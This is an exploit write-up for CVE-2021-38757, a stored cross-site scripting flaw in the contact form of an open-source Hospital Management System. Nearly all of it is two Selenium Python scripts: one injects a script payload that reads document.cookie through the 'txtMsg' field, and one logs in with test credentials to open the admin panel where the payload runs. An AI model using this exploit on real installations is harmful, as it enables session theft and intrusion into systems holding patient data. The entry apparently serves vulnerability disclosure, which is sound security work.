# Exploit Title: XSS-Stored PHPSESSID user PWNED on Hospital Management System Vulnerable parameter "txtMsg" on contact # Author: nu11secur1ty # Testing and Debugging: nu11secur1ty # Date: 08.17.2021 # Vendor: https://github.com/kishan0725/Hospital-Management-System # Link: https://github.com/kishan0725/Hospital-Management-System # CVE: CVE-2021-38757 [+] Exploit Source: ### P0C #!/usr/bin/python3 # Author: @nu11secur1ty # Debug and Developement: @nu11secur1ty # CVE-2021-38757 from selenium import webdriver import time import os #enter the link to the website you want to automate login. website_link=" http://192.168.1.3/Hospital-Management-System-master/contact.html" browser = webdriver.Chrome() browser.get((website_link)) try: ## The Exploit browser.execute_script("document.querySelector('[name=\"txtName\"]').value=\"User\"") browser.execute_script("document.querySelector('[name=\"txtEmail\"]').value=\" taratora@abv.bg\"") browser.execute_script("document.querySelector('[name=\"txtPhone\"]').value=\"1234567890\"") browser.execute_script("document.querySelector('[name=\"txtPhone\"]').value=\"1234567890\"") browser.execute_script("document.querySelector('[name=\"txtMsg\"]').value=\"nu11secur1ty<script>alert(document.cookie)</script>\"") ## submit the exploit browser.execute_script("document.querySelector('[name=\"btnSubmit\"]').click()") # Check os.system("python PoC-CVE-2021-38757-Check.py") print("The payload for CVE CVE-2021-38757 is deployed...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") ### Ch3ck #!/usr/bin/python3 # Author: @nu11secur1ty # Debug and Developement: @nu11secur1ty # CVE-2021-38757 from selenium import webdriver import time #enter the link to the website you want to automate login. website_link=" http://192.168.1.3/Hospital-Management-System-master/index1.php" #enter your login username username="tarator@abv.bg" #enter your login password password="password" #enter the element for username input field element_for_username="email" #enter the element for password input field element_for_password="password2" #enter the element for submit button element_for_submit="patsub" browser = webdriver.Chrome() browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_name(element_for_submit) signInButton.click() # Check time.sleep(3) browser.maximize_window() browser.get((" http://192.168.1.3/Hospital-Management-System-master/admin-panel1.php#")) print("The payload for CVE CVE-2021-38757 is deployed...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") ---------------------------------------------------------------------------------------- # Reproduce: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38757 # Proof: https://streamable.com/6xue3b # BR nu11secur1ty